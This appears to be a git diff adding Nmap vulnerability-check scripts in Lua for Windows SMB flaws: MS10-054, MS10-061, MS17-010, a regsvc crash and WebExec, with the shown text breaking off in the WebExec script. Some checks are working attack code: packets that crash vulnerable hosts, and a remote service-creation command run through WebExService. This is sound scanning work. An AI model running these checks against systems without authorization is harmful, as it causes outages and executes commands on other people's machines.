+ local vuln_table = {
+ title = 'Microsoft Windows system vulnerable to remote code execution (MS08-067)',
+ state = vulns.STATE.NOT_VULN,
+ description = [[
+ The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
+ Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
+ code via a crafted RPC request that triggers the overflow during path canonicalization.
+ ]],
+ IDS = {CVE = 'CVE-2008-4250'},
+ references = {
+ 'https://technet.microsoft.com/en-us/library/security/ms08-067.aspx'
+ },
+ dates = {
+ disclosure = {year = '2008', month = '10', day = '23'},
+ }
+ }
+ -- Check for ms08-067
+ status, result, message = check_ms08_067(host)
+ if(status == false) then
+ vuln_table.state = vulns.STATE.NOT_VULN
+ else
+ if(result == VULNERABLE) then
+ vuln_table.state = vulns.STATE.VULN
+ elseif(result == UNKNOWN) then
+ vuln_table.state = vulns.STATE.LIKELY_VULN
+ elseif(result == INFECTED) then
+ vuln_table.exploit_results = "This system has been infected by the Conficker worm."
+ vuln_table.state = vulns.STATE.LIKELY_VULN
+ else
+ vuln_table.state = vulns.STATE.NOT_VULN
+ end
+ end
+ return vuln_report:make_output(vuln_table)
+end
diff --git a/scripts/smb-vuln-ms10-054.nse b/scripts/smb-vuln-ms10-054.nse
new file mode 100644
index 0000000..ebaf09f
--- /dev/null
+++ b/scripts/smb-vuln-ms10-054.nse
@@ -0,0 +1,144 @@
+local smb = require "smb"
+local vulns = require "vulns"
+local stdnse = require "stdnse"
+local string = require "string"
+
+description = [[
+Tests whether target machines are vulnerable to the ms10-054 SMB remote memory
+corruption vulnerability.
+
+The vulnerable machine will crash with BSOD.
+
+The script requires at least READ access right to a share on a remote machine.
+Either with guest credentials or with specified username/password.
+
+]]
+
+---
+-- @usage nmap -p 445 <target> --script=smb-vuln-ms10-054 --script-args unsafe
+--
+-- @args unsafe Required to run the script, "safety swich" to prevent running it by accident
+-- @args smb-vuln-ms10-054.share Share to connect to (defaults to SharedDocs)
+-- @output
+-- Host script results:
+-- | smb-vuln-ms10-054:
+-- | VULNERABLE:
+-- | SMB remote memory corruption vulnerability
+-- | State: VULNERABLE
+-- | IDs: CVE:CVE-2010-2550
+-- | Risk factor: HIGH CVSSv2: 10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C)
+-- | Description:
+-- | The SMB Server in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2,
+-- | Windows Vista SP1 and SP2, Windows Server 2008 Gold, SP2, and R2, and Windows 7
+-- | does not properly validate fields in an SMB request, which allows remote attackers
+-- | to execute arbitrary code via a crafted SMB packet, aka "SMB Pool Overflow Vulnerability."
+-- |
+-- | Disclosure date: 2010-08-11
+-- | References:
+-- | http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2550
+-- |_ http://seclists.org/fulldisclosure/2010/Aug/122
+
+author = "Aleksandar Nikolic"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"vuln","intrusive","dos"}
+
+hostrule = function(host)
+ return smb.get_port(host) ~= nil
+end
+
+-- stolen from smb.lua as max data count needed to be modified to trigger the crash
+local function send_transaction2(smbstate, sub_command, function_parameters)
+ local header, parameters, data, command
+ local parameter_offset = 0
+ local parameter_size = 0
+ local data_offset = 0
+ local data_size = 0
+ local total_word_count, total_data_count, reserved1, parameter_count, parameter_displacement, data_count, data_displacement, setup_count, reserved2
+ local response = {}
+
+ -- Header is 0x20 bytes long (not counting NetBIOS header).
+ header = smb.smb_encode_header(smbstate, smb.command_codes['SMB_COM_TRANSACTION2'], {}) -- 0x32 = SMB_COM_TRANSACTION2
+
+ if(function_parameters) then
+ parameter_offset = 0x44
+ parameter_size = #function_parameters
+ data_offset = #function_parameters + 33 + 32
+ end
+
+ -- Parameters are 0x20 bytes long.
+ parameters = string.pack("<I2I2I2I2 BB I2 I4 I2I2I2I2I2 BB I2",
+ parameter_size, -- Total parameter count.
+ data_size, -- Total data count.
+ 0x000a, -- Max parameter count.
+ 0x000a, -- Max data count, less than 12 causes a crash
+ 0x00, -- Max setup count.
+ 0x00, -- Reserved.
+ 0x0000, -- Flags (0x0000 = 2-way transaction, don't disconnect TIDs).
+ 0x00001388, -- Timeout (0x00000000 = return immediately).
+ 0x0000, -- Reserved.
+ parameter_size, -- Parameter bytes.
+ parameter_offset, -- Parameter offset.
+ data_size, -- Data bytes.
+ data_offset, -- Data offset.
+ 0x01, -- Setup Count
+ 0x00, -- Reserved
+ sub_command -- Sub command
+ )
+
+ local data = "\0\0\0" .. (function_parameters or '')
+
+ -- Send the transaction request
+ stdnse.debug2("SMB: Sending SMB_COM_TRANSACTION2")
+ local result, err = smb.smb_send(smbstate, header, parameters, data, {})
+ if(result == false) then
+ return false, err
+ end
+
+ return true
+end
+
+action = function(host,port)
+ if not stdnse.get_script_args(SCRIPT_NAME .. '.unsafe') then
+ stdnse.debug1("You must specify unsafe script argument to run this script.")
+ return false
+ end
+ local ms10_054 = {
+ title = "SMB remote memory corruption vulnerability",
+ IDS = {CVE = 'CVE-2010-2550'},
+ risk_factor = "HIGH",
+ scores = {
+ CVSSv2 = "10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C)",
+ },
+ description = [[
+The SMB Server in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2,
+Windows Vista SP1 and SP2, Windows Server 2008 Gold, SP2, and R2, and Windows 7
+does not properly validate fields in an SMB request, which allows remote attackers
+to execute arbitrary code via a crafted SMB packet, aka "SMB Pool Overflow Vulnerability."
+]],
+ references = {
+ 'http://seclists.org/fulldisclosure/2010/Aug/122',
+ 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2550'
+ },
+ dates = {
+ disclosure = {year = '2010', month = '08', day = '11'},
+ },
+ exploit_results = {},
+ }
+
+ local report = vulns.Report:new(SCRIPT_NAME, host, port)
+ ms10_054.state = vulns.STATE.NOT_VULN
+
+ local share = stdnse.get_script_args(SCRIPT_NAME .. '.share') or "SharedDocs"
+
+ local status, smbstate = smb.start_ex(host, true, true, share, nil, nil, nil)
+
+ local param = "0501" -- Query FS Attribute Info
+ local status, result = send_transaction2(smbstate,0x03,stdnse.fromhex(param))
+ status, result = smb.smb_read(smbstate,true) -- see if we can still talk to the victim
+ if not status then -- if not , it has crashed
+ ms10_054.state = vulns.STATE.VULN
+ else
+ stdnse.debug1("Machine is not vulnerable")
+ end
+ return report:make_output(ms10_054)
+end
diff --git a/scripts/smb-vuln-ms10-061.nse b/scripts/smb-vuln-ms10-061.nse
new file mode 100644
index 0000000..a910ed9
--- /dev/null
+++ b/scripts/smb-vuln-ms10-061.nse
@@ -0,0 +1,171 @@
+local msrpc = require "msrpc"
+local smb = require "smb"
+local string = require "string"
+local vulns = require "vulns"
+local stdnse = require "stdnse"
+
+description = [[
+Tests whether target machines are vulnerable to ms10-061 Printer Spooler impersonation vulnerability.
+
+This vulnerability was used in Stuxnet worm. The script checks for
+the vuln in a safe way without a possibility of crashing the remote
+system as this is not a memory corruption vulnerability. In order for
+the check to work it needs access to at least one shared printer on
+the remote system. By default it tries to enumerate printers by using
+LANMAN API which on some systems is not available by default. In that
+case user should specify printer share name as printer script
+argument. To find a printer share, smb-enum-shares can be used.
+Also, on some systems, accessing shares requires valid credentials
+which can be specified with smb library arguments smbuser and
+smbpassword.
+
+References:
+ - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2729
+ - http://technet.microsoft.com/en-us/security/bulletin/MS10-061
+ - http://blogs.technet.com/b/srd/archive/2010/09/14/ms10-061-printer-spooler-vulnerability.aspx
+]]
+---
+-- @usage nmap -p 445 <target> --script=smb-vuln-ms10-061
+--
+-- @args printer Printer share name. Optional, by default script tries to enumerate available printer shares.
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 445/tcp open microsoft-ds syn-ack
+
+-- Host script results:
+-- | smb-vuln-ms10-061:
+-- | VULNERABLE:
+-- | Print Spooler Service Impersonation Vulnerability
+-- | State: VULNERABLE
+-- | IDs: CVE:CVE-2010-2729
+-- | Risk factor: HIGH CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
+-- | Description:
+-- | The Print Spooler service in Microsoft Windows XP,Server 2003 SP2,Vista,Server 2008, and 7, when printer sharing is enabled,
+-- | does not properly validate spooler access permissions, which allows remote attackers to create files in a system directory,
+-- | and consequently execute arbitrary code, by sending a crafted print request over RPC, as exploited in the wild in September 2010,
+-- | aka "Print Spooler Service Impersonation Vulnerability."
+-- |
+-- | Disclosure date: 2010-09-5
+-- | References:
+-- | http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2729
+-- | http://technet.microsoft.com/en-us/security/bulletin/MS10-061
+-- |_ http://blogs.technet.com/b/srd/archive/2010/09/14/ms10-061-printer-spooler-vulnerability.aspx
+--
+-- @see stuxnet-detect.nse
+
+author = "Aleksandar Nikolic"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"vuln","intrusive"}
+
+hostrule = function(host)
+ return smb.get_port(host) ~= nil
+end
+
+action = function(host,port)
+
+ local ms10_061 = {
+ title = "Print Spooler Service Impersonation Vulnerability",
+ IDS = {CVE = 'CVE-2010-2729'},
+ risk_factor = "HIGH",
+ scores = {
+ CVSSv2 = "9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)",
+ },
+ description = [[
+The Print Spooler service in Microsoft Windows XP,Server 2003 SP2,Vista,Server 2008, and 7, when printer sharing is enabled,
+does not properly validate spooler access permissions, which allows remote attackers to create files in a system directory,
+and consequently execute arbitrary code, by sending a crafted print request over RPC, as exploited in the wild in September 2010,
+aka "Print Spooler Service Impersonation Vulnerability."
+ ]],
+ references = {
+ 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2729',
+ 'http://technet.microsoft.com/en-us/security/bulletin/MS10-061',
+ 'http://blogs.technet.com/b/srd/archive/2010/09/14/ms10-061-printer-spooler-vulnerability.aspx'
+ },
+ dates = {
+ disclosure = {year = '2010', month = '09', day = '5'},
+ },
+ exploit_results = {},
+ }
+ local report = vulns.Report:new(SCRIPT_NAME, host, port)
+ ms10_061.state = vulns.STATE.NOT_VULN
+ local status, smbstate
+ status, smbstate = msrpc.start_smb(host, msrpc.SPOOLSS_PATH,true)
+ if(status == false) then
+ stdnse.debug1("SMB: " .. smbstate)
+ return false, smbstate
+ end
+
+ local bind_result
+ status, bind_result = msrpc.bind(smbstate,msrpc.SPOOLSS_UUID, msrpc.SPOOLSS_VERSION, nil)
+ if(status == false) then
+ msrpc.stop_smb(smbstate)
+ stdnse.debug1("SMB: " .. bind_result)
+ return false, bind_result
+ end
+ local printer = stdnse.get_script_args(SCRIPT_NAME .. '.printer')
+ -- if printer not set find available printers
+ if not printer then
+ stdnse.debug1("No printer specified, trying to find one...")
+ local lanman_result
+ local REMSmb_NetShareEnum_P = "WrLeh"
+ local REMSmb_share_info_1 = "B13BWz"
+ status, lanman_result = msrpc.call_lanmanapi(
+ smbstate, 0, REMSmb_NetShareEnum_P, REMSmb_share_info_1, "\x01\x00\x7e\xff")
+ if status == false then
+ stdnse.debug1("SMB: " .. lanman_result)
+ stdnse.debug1("SMB: Looks like LANMAN API is not available. Try setting printer script arg.")
+ end
+
+ local parameters = lanman_result.parameters
+ local data = lanman_result.data
+ local status, convert, entry_count, available_entries = string.unpack("<I2 I2 I2 I2", parameters)
+ local pos = 1
+ for i = 1, entry_count, 1 do
+ local name, share_type = string.unpack(">c14 I2", data, pos)
+
+ if share_type == 1 then -- share is printer
+ name = string.unpack("z", name)
+ stdnse.debug1("Found printer share %s.", name)
+ printer = name
+ break
+ end
+ pos = pos + 20
+ end
+ end
+ if not printer then
+ stdnse.debug1("No printer found, system may be unpatched but it needs at least one printer shared to be vulnerable.")
+ return false
+ end
+ stdnse.debug1("Using %s as printer.",printer)
+ -- call RpcOpenPrinterEx - opnum 69
+ local status, result = msrpc.spoolss_open_printer(smbstate,"\\\\"..host.ip.."\\"..printer)
+ if not status then
+ return false
+ end
+ local printer_handle = string.sub(result.data,25,#result.data-4)
+ stdnse.debug1("Printer handle %s",stdnse.tohex(printer_handle))
+ -- call RpcStartDocPrinter - opnum 17
+ status,result = msrpc.spoolss_start_doc_printer(smbstate,printer_handle,",") -- patched version will allow this
+ if not status then
+ return false
+ end
+ local print_job_id = string.sub(result.data,25,#result.data-4)
+ stdnse.debug1("Start doc printer job id %s",stdnse.tohex(print_job_id))
+
+ -- call RpcWritePrinter - 19
+ status, result = msrpc.spoolss_write_printer(smbstate,printer_handle,"aaaa")
+ if not status then
+ return false
+ end
+ local write_result = string.sub(result.data,25,#result.data-4)
+ stdnse.debug1("Written %s bytes to a file.",stdnse.tohex(write_result))
+ if stdnse.tohex(write_result) == "00000000" then -- patched version would report 4 bytes written
+ ms10_061.state = vulns.STATE.VULN -- identified by diffing patched an unpatched version
+ end
+ -- call abort_printer to stop the actual printing in case the remote system is not vulnerable
+ -- we care about the environment and don't want to spend more paper then needed :)
+ status,result = msrpc.spoolss_abort_printer(smbstate,printer_handle)
+
+ return report:make_output(ms10_061)
+end
diff --git a/scripts/smb-vuln-ms17-010.nse b/scripts/smb-vuln-ms17-010.nse
new file mode 100644
index 0000000..e2cea30
--- /dev/null
+++ b/scripts/smb-vuln-ms17-010.nse
@@ -0,0 +1,192 @@
+local nmap = require "nmap"
+local smb = require "smb"
+local vulns = require "vulns"
+local stdnse = require "stdnse"
+local string = require "string"
+
+description = [[
+Attempts to detect if a Microsoft SMBv1 server is vulnerable to a remote code
+ execution vulnerability (ms17-010, a.k.a. EternalBlue).
+ The vulnerability is actively exploited by WannaCry and Petya ransomware and other malware.
+
+The script connects to the $IPC tree, executes a transaction on FID 0 and
+ checks if the error "STATUS_INSUFF_SERVER_RESOURCES" is returned to
+ determine if the target is not patched against ms17-010. Additionally it checks
+ for known error codes returned by patched systems.
+
+Tested on Windows XP, 2003, 7, 8, 8.1, 10, 2008, 2012 and 2016.
+
+References:
+* https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
+* https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
+* https://msdn.microsoft.com/en-us/library/ee441489.aspx
+* https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/smb/smb_ms17_010.rb
+* https://github.com/cldrn/nmap-nse-scripts/wiki/Notes-about-smb-vuln-ms17-010
+]]
+
+---
+-- @usage nmap -p445 --script smb-vuln-ms17-010 <target>
+-- @usage nmap -p445 --script vuln <target>
+--
+-- @see smb-double-pulsar-backdoor.nse
+--
+-- @output
+-- Host script results:
+-- | smb-vuln-ms17-010:
+-- | VULNERABLE:
+-- | Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
+-- | State: VULNERABLE
+-- | IDs: CVE:CVE-2017-0143
+-- | Risk factor: HIGH
+-- | A critical remote code execution vulnerability exists in Microsoft SMBv1
+-- | servers (ms17-010).
+-- |
+-- | Disclosure date: 2017-03-14
+-- | References:
+-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
+-- | https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
+-- |_ https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
+--
+-- @xmloutput
+-- <table key="CVE-2017-0143">
+-- <elem key="title">Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)</elem>
+-- <elem key="state">VULNERABLE</elem>
+-- <table key="ids">
+-- <elem>CVE:CVE-2017-0143</elem>
+-- </table>
+-- <table key="description">
+-- <elem>A critical remote code execution vulnerability exists in Microsoft SMBv1&#xa; servers (ms17-010).&#xa;</elem>
+-- </table>
+-- <table key="dates">
+-- <table key="disclosure">
+-- <elem key="month">03</elem>
+-- <elem key="year">2017</elem>
+-- <elem key="day">14</elem>
+-- </table>
+-- </table>
+-- <elem key="disclosure">2017-03-14</elem>
+-- <table key="refs">
+-- <elem>https://technet.microsoft.com/en-us/library/security/ms17-010.aspx</elem>
+-- <elem>https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143</elem>
+-- <elem>https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/</elem>
+-- </table>
+-- </table>
+--
+-- @args smb-vuln-ms17-010.sharename Share name to connect. Default: IPC$
+---
+
+author = "Paulino Calderon <paulino()calderonpale.com>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"vuln", "safe"}
+
+hostrule = function(host)
+ return smb.get_port(host) ~= nil
+end
+
+local function check_ms17010(host, port, sharename)
+ local status, smbstate = smb.start_ex(host, true, true, "\\\\".. host.ip .. "\\" .. sharename, nil, nil, nil)
+ if not status then
+ stdnse.debug1("Could not connect to '%s'", sharename)
+ return false, string.format("Could not connect to '%s'", sharename)
+ else
+ local overrides = {}
+ local smb_header, smb_params, smb_cmd
+
+ stdnse.debug1("Connected to share '%s'", sharename)
+
+ overrides['parameters_length'] = 0x10
+
+ --SMB_COM_TRANSACTION opcode is 0x25
+ smb_header = smb.smb_encode_header(smbstate, 0x25, overrides)
+ smb_params = string.pack(">I2 I2 I2 I2 B B I2 I4 I2 I2 I2 I2 I2 B B I2 I2 I2 I2 I2 I2",
+ 0x0, -- Total Parameter count (2 bytes)
+ 0x0, -- Total Data count (2 bytes)
+ 0xFFFF, -- Max Parameter count (2 bytes)
+ 0xFFFF, -- Max Data count (2 bytes)
+ 0x0, -- Max setup Count (1 byte)
+ 0x0, -- Reserved (1 byte)
+ 0x0, -- Flags (2 bytes)
+ 0x0, -- Timeout (4 bytes)
+ 0x0, -- Reserved (2 bytes)
+ 0x0, -- ParameterCount (2 bytes)
+ 0x4a00, -- ParameterOffset (2 bytes)
+ 0x0, -- DataCount (2 bytes)
+ 0x4a00, -- DataOffset (2 bytes)
+ 0x02, -- SetupCount (1 byte)
+ 0x0, -- Reserved (1 byte)
+ 0x2300, -- PeekNamedPipe opcode
+ 0x0, --
+ 0x0700, -- BCC (Length of "\PIPE\")
+ 0x5c50, -- \P
+ 0x4950, -- IP
+ 0x455c -- E\
+ )
+ stdnse.debug2("SMB: Sending SMB_COM_TRANSACTION")
+ local result, err = smb.smb_send(smbstate, smb_header, smb_params, '', overrides)
+ if(result == false) then
+ stdnse.debug1("There was an error in the SMB_COM_TRANSACTION request")
+ return false, err
+ end
+
+ local result, smb_header, _, _ = smb.smb_read(smbstate)
+ if not result then
+ stdnse.debug1("Error reading SMB response: %s", smb_header)
+ -- error can happen if an (H)IPS resets the connection
+ return false, smb_header
+ end
+
+ local _ , smb_cmd, err = string.unpack("<c4 B I4", smb_header)
+ if smb_cmd == 37 then -- SMB command for Trans is 0x25
+ stdnse.debug1("Valid SMB_COM_TRANSACTION response received")
+
+ --STATUS_INSUFF_SERVER_RESOURCES indicate that the machine is not patched
+ if err == 0xc0000205 then
+ stdnse.debug1("STATUS_INSUFF_SERVER_RESOURCES response received")
+ return true
+ elseif err == 0xc0000022 then
+ stdnse.debug1("STATUS_ACCESS_DENIED response received. This system is likely patched.")
+ return false, "This system is patched."
+ elseif err == 0xc0000008 then
+ stdnse.debug1("STATUS_INVALID_HANDLE response received. This system is likely patched.")
+ return false, "This system is patched."
+ end
+ stdnse.debug1("Error code received:%s", stdnse.tohex(err))
+ else
+ stdnse.debug1("Received invalid command id.")
+ return false, string.format("Unexpected SMB response:%s", stdnse.tohex(err))
+ end
+ end
+end
+
+action = function(host,port)
+ local vuln_status, err
+ local vuln = {
+ title = "Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)",
+ IDS = {CVE = 'CVE-2017-0143'},
+ risk_factor = "HIGH",
+ description = [[
+A critical remote code execution vulnerability exists in Microsoft SMBv1
+ servers (ms17-010).
+ ]],
+ references = {
+ 'https://technet.microsoft.com/en-us/library/security/ms17-010.aspx',
+ 'https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/'
+ },
+ dates = {
+ disclosure = {year = '2017', month = '03', day = '14'},
+ }
+ }
+ local sharename = stdnse.get_script_args(SCRIPT_NAME .. ".sharename") or "IPC$"
+ local report = vulns.Report:new(SCRIPT_NAME, host, port)
+ vuln.state = vulns.STATE.NOT_VULN
+
+ vuln_status, err = check_ms17010(host, port, sharename)
+ if vuln_status then
+ stdnse.debug1("This host is missing the patch for ms17-010!")
+ vuln.state = vulns.STATE.VULN
+ else
+ vuln.state = vulns.STATE.NOT_VULN
+ vuln.check_results = err
+ end
+ return report:make_output(vuln)
+end
diff --git a/scripts/smb-vuln-regsvc-dos.nse b/scripts/smb-vuln-regsvc-dos.nse
new file mode 100644
index 0000000..4b523e7
--- /dev/null
+++ b/scripts/smb-vuln-regsvc-dos.nse
@@ -0,0 +1,124 @@
+local msrpc = require "msrpc"
+local smb = require "smb"
+local vulns = require "vulns"
+
+description = [[
+Checks if a Microsoft Windows 2000 system is vulnerable to a crash in regsvc caused by a null pointer
+dereference. This check will crash the service if it is vulnerable and requires a guest account or
+higher to work.
+
+The vulnerability was discovered by Ron Bowes while working on <code>smb-enum-sessions</code> and
+was reported to Microsoft (Case #MSRC8742).
+
+This check was previously part of smb-check-vulns.
+]]
+---
+--@usage
+-- nmap --script smb-vuln-regsvc-dos.nse -p445 <host>
+-- nmap -sU --script smb-vuln-regsvc-dos.nse -p U:137,T:139 <host>
+--
+--@output
+--| smb-vuln-regsvc-dos:
+--| VULNERABLE:
+--| Service regsvc in Microsoft Windows systems vulnerable to denial of service
+--| State: VULNERABLE
+--| The service regsvc in Microsoft Windows 2000 systems is vulnerable to denial of service caused by a null deference
+--| pointer. This script will crash the service if it is vulnerable. This vulnerability was discovered by Ron Bowes
+--| while working on smb-enum-sessions.
+--|_
+---
+
+author = {"Ron Bowes", "Jiayi Ye", "Paulino Calderon <calderon()websec.mx>"}
+copyright = "Ron Bowes"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive","exploit","dos","vuln"}
+-- run after all smb-* scripts (so if it DOES crash something, it doesn't kill
+-- other scans have had a chance to run)
+dependencies = {
+ "smb-brute", "smb-enum-sessions", "smb-security-mode",
+ "smb-enum-shares", "smb-server-stats",
+ "smb-enum-domains", "smb-enum-users", "smb-system-info",
+ "smb-enum-groups", "smb-os-discovery", "smb-enum-processes",
+ "smb-psexec",
+};
+
+hostrule = function(host)
+ return smb.get_port(host) ~= nil
+end
+
+local VULNERABLE = 1
+local PATCHED = 2
+
+---While writing <code>smb-enum-sessions</code> I discovered a repeatable null-pointer dereference
+-- in regsvc. I reported it to Microsoft, but because it's a simple DoS (and barely even that, because
+-- the service automatically restarts), and because it's only in Windows 2000, it isn't likely that they'll
+-- fix it. This function checks for that crash (by crashing the process).
+--
+-- The crash occurs when the string sent to winreg_enumkey() function is null.
+--
+--@param host The host object.
+--@return (status, result) If status is false, result is an error code; otherwise, result is either
+-- <code>VULNERABLE</code> for vulnerable or <code>PATCHED</code> for not vulnerable.
+function check_winreg_Enum_crash(host)
+ local i, j
+ local elements = {}
+ local status, bind_result, smbstate
+
+ -- Create the SMB session
+ status, smbstate = msrpc.start_smb(host, msrpc.WINREG_PATH)
+ if(status == false) then
+ return false, smbstate
+ end
+
+ -- Bind to WINREG service
+ status, bind_result = msrpc.bind(smbstate, msrpc.WINREG_UUID, msrpc.WINREG_VERSION, nil)
+ if(status == false) then
+ msrpc.stop_smb(smbstate)
+ return false, bind_result
+ end
+
+ local openhku_result
+ status, openhku_result = msrpc.winreg_openhku(smbstate)
+ if(status == false) then
+ msrpc.stop_smb(smbstate)
+ return false, openhku_result
+ end
+
+ -- Loop through the keys under HKEY_USERS and grab the names
+ local enumkey_result
+ status, enumkey_result = msrpc.winreg_enumkey(smbstate, openhku_result['handle'], 0, nil)
+ msrpc.stop_smb(smbstate)
+
+ if(status == false) then
+ return true, VULNERABLE
+ end
+ return true, PATCHED
+end
+
+action = function(host)
+ local status, result, message
+ local response = {}
+ local vuln_report = vulns.Report:new(SCRIPT_NAME, host)
+ local vuln_table = {
+ title = 'Service regsvc in Microsoft Windows systems vulnerable to denial of service',
+ state = vulns.STATE.NOT_VULN,
+ description = [[
+The service regsvc in Microsoft Windows 2000 systems is vulnerable to denial of service caused by a null deference
+pointer. This script will crash the service if it is vulnerable. This vulnerability was discovered by Ron Bowes
+while working on smb-enum-sessions.
+ ]]
+ }
+
+ -- Check for a winreg_Enum crash
+ status, result = check_winreg_Enum_crash(host)
+ if(status == false) then
+ vuln_table.state = vulns.STATE.NOT_VULN
+ else
+ if(result == VULNERABLE) then
+ vuln_table.state = vulns.STATE.VULN
+ else
+ vuln_table.state = vulns.STATE.NOT_VULN
+ end
+ end
+ return vuln_report:make_output(vuln_table)
+end
diff --git a/scripts/smb-vuln-webexec.nse b/scripts/smb-vuln-webexec.nse
new file mode 100644
index 0000000..9fedaa0
--- /dev/null
+++ b/scripts/smb-vuln-webexec.nse
@@ -0,0 +1,167 @@
+local msrpc = require "msrpc"
+local string = require "string"
+local shortport = require "shortport"
+local smb = require "smb"
+local stdnse = require "stdnse"
+local vulns = require "vulns"
+-- compat stuff for Nmap 7.70 and earlier
+local have_rand, rand = pcall(require, "rand")
+local random_string = have_rand and rand.random_string or stdnse.generate_random_string
+local have_stringaux, stringaux = pcall(require, "stringaux")
+local strsplit = (have_stringaux and stringaux or stdnse).strsplit
+
+description = [[
+Checks whether the WebExService is installed and allows us to run code.
+
+Note: Requires a user account (local or domain).
+
+References:
+* https://www.webexec.org
+* https://blog.skullsecurity.org/2018/technical-rundown-of-webexec
+* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15442
+]]
+
+---
+-- @usage
+-- nmap --script smb-vuln-webexec --script-args smbusername=<username>,smbpass=<password> -p445 <host>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 445/tcp open microsoft-ds syn-ack
+-- | smb-vuln-webexec:
+-- | VULNERABLE:
+-- | Remote Code Execution vulnerability in WebExService
+-- | State: VULNERABLE
+-- | IDs: CVE:CVE-2018-15442
+-- | Risk factor: HIGH
+-- | A critical remote code execution vulnerability exists in WebExService (WebExec).
+-- | Disclosure date: 2018-10-24
+-- | References:
+-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15442
+-- | https://blog.skullsecurity.org/2018/technical-rundown-of-webexec
+-- |_ https://webexec.org
+--
+-- @see smb-webexec-exploit.nse
+
+author = "Ron Bowes"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive","vuln"}
+
+portrule = shortport.port_or_service({445, 139}, "microsoft-ds", "tcp", "open")
+
+action = function(host, port)
+ local open_result
+ local close_result
+ local bind_result
+ local result
+ local test_service = random_string(16, "0123456789abcdefghijklmnoprstuvzxwyABCDEFGHIJKLMNOPRSTUVZXWY")
+
+ local vuln = {
+ title = "Remote Code Execution vulnerability in WebExService",
+ IDS = {CVE = 'CVE-2018-15442'},
+ risk_factor = "HIGH",
+ description = "A critical remote code execution vulnerability exists in WebExService (WebExec).",
+ references = {
+ 'https://webexec.org', -- TODO: We can add Cisco's advisory here
+ 'https://blog.skullsecurity.org/2018/technical-rundown-of-webexec'
+ },
+ dates = {
+ disclosure = {year = '2018', month = '10', day = '24'}, -- TODO: Update with the actual date
+ },
+ state = vulns.STATE.NOT_VULN
+ }
+
+ local report = vulns.Report:new(SCRIPT_NAME, host, port)
+
+ local status, smbstate = msrpc.start_smb(host, msrpc.SVCCTL_PATH)
+ if not status then
+ vuln.check_results = "Could not connect to smb: " .. smbstate
+ return report:make_output(vuln)
+ end
+
+ status, bind_result = msrpc.bind(smbstate, msrpc.SVCCTL_UUID, msrpc.SVCCTL_VERSION, nil)
+
+ if not status then
+ smb.stop(smbstate)
+ vuln.check_results = "Could not bind to SVCCTL: " .. bind_result
+ return report:make_output(vuln)
+ end
+
+ local result, username, domain = smb.get_account(host)
+ if result then
+ if domain and domain ~= "" then
+ username = domain .. "\\" .. stdnse.string_or_blank(username, '<blank>')
+ end
+ end
+
+ -- Open the service manager
+ stdnse.debug1("Trying to open the remote service manager with minimal permissions")
+ status, open_result = msrpc.svcctl_openscmanagerw(smbstate, host.ip, 0x00000001)
+
+ if not status then
+ smb.stop(smbstate)
+ vuln.check_results = "Could not open service manager: " .. open_result
+ return report:make_output(vuln)
+ end
+
+ local open_status, open_service_result = msrpc.svcctl_openservicew(smbstate, open_result['handle'], 'webexservice', 0x00010)
+ if open_status == false then
+ status, close_result = msrpc.svcctl_closeservicehandle(smbstate, open_result['handle'])
+ smb.stop(smbstate)
+ if string.match(open_service_result, 'NT_STATUS_SERVICE_DOES_NOT_EXIST') then
+ vuln.check_results = "WebExService is not installed"
+ return report:make_output(vuln)
+ elseif string.match(open_service_result, 'NT_STATUS_WERR_ACCESS_DENIED') then
+ vuln.check_results = "Could not open a handle to WebExService as " .. username
+ return report:make_output(vuln)
+ end
+
+ vuln.check_results = "WebExService failed to open with an unknown status " .. open_service_result
+ return report:make_output(vuln)
+ end
+
+ -- Create a test service that we can query
+ local webexec_command = "sc create " .. test_service .. " binpath= c:\\fakepath.exe"
+ stdnse.debug1("Creating a test service: " .. webexec_command)
+ status, result = msrpc.svcctl_startservicew(smbstate, open_service_result['handle'], strsplit(" ", "install software-update 1 " .. webexec_command))
+ if not status then
+ vuln.check_results = "Could not start WebExService"
+ return report:make_output(vuln)
+ end
+
+ -- We need some time for the service to run then stop again before we continue
+ stdnse.sleep(1)
+
+ -- Try and get a handle to the service with zero permissions
+ stdnse.debug1("Checking if the test service exists")
+ local test_status, test_result = msrpc.svcctl_openservicew(smbstate, open_result['handle'], test_service, 0x00000)
+
